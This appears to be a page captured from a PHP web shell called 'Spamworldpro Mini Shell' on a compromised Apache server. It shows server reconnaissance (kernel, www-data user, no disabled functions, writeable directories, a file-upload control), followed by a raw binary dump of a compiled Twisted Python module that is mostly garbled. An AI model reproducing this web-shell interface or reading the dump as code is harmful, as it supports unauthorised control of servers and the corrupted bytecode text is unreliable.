Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/spread/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/spread/__pycache__/publish.cpython-310.pyc
o

�b,�@sddZddlZddlmZddlmZmZmZGdd�dej�Z	Gdd�dej
�Zd	d
�Zdd�Z
dS)
z]
Persistently cached objects for PB.

Maintainer: Glyph Lefkowitz

Future Plans: None known.
�N)�defer)�banana�flavors�jellyc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�Publishablez6An object whose cached state persists across sessions.cCs|��||_dS)N)�	republish�publishedID)�selfr�r
�8/usr/lib/python3/dist-packages/twisted/spread/publish.py�__init__s
zPublishable.__init__cCst��|_dS)z=Set the timestamp to current and (TODO) update all observers.N)�time�	timestamp�r	r
r
rr�zPublishable.republishcCs
|�|�S)�
(internal))�getStateToPublishFor�r	�perspectiver
r
r�view_getStateToPublishs
z"Publishable.view_getStateToPublishcCs|��S)z:Implement me to special-case your state for a perspective.)�getStateToPublishrr
r
rr#sz Publishable.getStateToPublishForcCstd|j��)zBImplement me to return state to copy as part of the publish phase.z%s.getStateToPublishFor)�NotImplementedError�	__class__rr
r
rr'rzPublishable.getStateToPublishcCs:|r|j}|��j}nd}d}t�||�|j|||jd�S)z6Get all necessary metadata to keep a clientside cache.�None)�remoterr�servicer)�perspectiveName�
getService�serviceNamer�	ViewPointrr)r	r�observer�pname�snamer
r
r�getStateToCacheAndObserveFor+s
�z(Publishable.getStateToCacheAndObserveForN)
�__name__�
__module__�__qualname__�__doc__rrrrrr#r
r
r
rrsrc@sJeZdZdZdZdZddd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�ZdS)�RemotePublishedz6The local representation of remote Publishable object.r�pubcCsd�|j|jt|j�|�S)Nz{}-{}-{}.{})�formatrr�strr)r	�extr
r
r�getFileNameCs�zRemotePublished.getFileNamecCs�|j�|�g|_zt|��d��}|��}Wd�n1s wYWnty1d}Ynwt�t	�
|��}|j|jk}|rM|�|j�d|_
dS|j�d��|j�dS)N�rbr�r)�__dict__�update�_activationListeners�openr-�read�OSErrorr�unjellyr�decoder�_cbGotUpdate�_wasCleanWhenLoadedr�
callRemote�addCallbacks)r	�state�dataFile�data�recent�newselfr
r
r�setCopyableStateKs 
���
z RemotePublished.setCopyableStatecCs,|j��}|d=|d=|d=|d=|d=|S)N�brokerr�luidr2�isActivated)r0�copy)r	�otherr
r
r�__getstate__\s
zRemotePublished.__getstate__cCs~|j�|�d|_|jD]}||�qg|_|��t|��d��}|�t�	t
�
|���Wd�dS1s8wYdS)Nr/�wb)r0r1rDr2�	activatedr3r-�writer�encoder)r	�newState�listenerr=r
r
rr8gs

"�zRemotePublished._cbGotUpdatecCsdS)znImplement this method if you want to be notified when your
        publishable subclass is activated.
        Nr
rr
r
rrIrszRemotePublished.activatedcCs"|jr	||�dS|j�|�dS)zZExternally register for notification when this publishable has received all relevant data.N)rDr2�append)r	�callbackr
r
r�callWhenActivatedwsz!RemotePublished.callWhenActivatedN)r))r$r%r&r'rDr9r-rArGr8rIrPr
r
r
rr(=s
r(cCs t��}|jt|j|fd�|S)aD
    Wrap a deferred returned from a pb method in another deferred that
    expects a RemotePublished as a result.  This will allow you to wait until
    the result is really available.

    Idiomatic usage would look like::

        publish.whenReady(serverObject.getMeAPublishable()).addCallback(lookAtThePublishable)
    )�callbackArgs)r�Deferredr;�	_pubReady�errback)�d�d2r
r
r�	whenReadys
rWcCs|�|j�dS)rN)rPrO)�resultrVr
r
rrS�srS)r'r
�twisted.internetr�twisted.spreadrrr�	Cacheabler�RemoteCacher(rWrSr
r
r
r�<module>s	)B

Spamworldpro Mini